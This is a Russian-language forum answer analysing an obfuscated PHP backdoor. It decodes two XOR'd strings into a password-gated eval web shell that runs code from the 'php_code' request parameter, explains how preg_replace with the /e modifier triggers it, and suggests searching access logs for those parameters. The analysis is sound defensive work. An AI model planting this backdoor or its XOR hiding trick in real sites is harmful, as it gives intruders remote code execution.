Глядя на вторую часть, я замечаю, что это две строки, которые xor'd вместе:
php > $x="d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH";
php > $y="\x01KQ\x02iJ\x0c\x13\x1e\x1d\x2a\x236\x3c\x1bj4V\x2d\x25wd\x3c\x07\x232\x11dP2c\x0bsb\x1fGIJ\x27\x07\x7f\x40\x2f\x3fK5\x05\x0e\x01\x16\x7d\x14c\x3eo\x08Uu3\x1aRLpgT\x7fQh\x0e\x16KFuQxT\x00\x08sy\x0f\x08eS\x07\x05\x23R\x40\x12eSlW\x5bs\x0ed\x7eoUb\x1d\x5c\x17\x3f\x10\x17\x5d\x2a\x2dq\x2b\x13w\x1b6\x7c\x3f\x18\x29\x13\x1d\x2e\x28\x16\x2e\x2e\x28\x0cwiDyX=A\x0d\x1e\x2b\x3ff9\x1dj\x0a\x194\x02\x23wc\x3a\x3fc1\x05\x20\x1d\x1b\x165\x15\x7d\x3bJ\x5d\x17U\x3a\x2f\x25xCjCHCa";
php > $z=$x^$y;
php > print $z;
eval("if(isset(\\$_REQUEST['ch']) && (md5(\\$_REQUEST['ch']) == '568bf80805f0a16c104efd05f626234a') && isset(\\$_REQUEST['php_code'])) { eval(\\$_REQUEST['php_code']); exit(); }")
php >
Он ищет «пароль» в «ch», если хэш паролей совпадает, то проверяет, что когда-либо было в параметре php_code.
Я не уверен, как preg_replace входит в вещи, хотя
Редактировать
Кажется, preg replace заменяет что-то, что не соответствует замене, вызывая запуск только что декодированного. Рассмотрим этот пример
<?php
preg_replace("/X/e","eval('print 1;');",'X');
?>
Если вы запускаете его, он просто печатает 1. Просмотрите журналы доступа на предмет совпадений с этими параметрами URL (ch и php_code)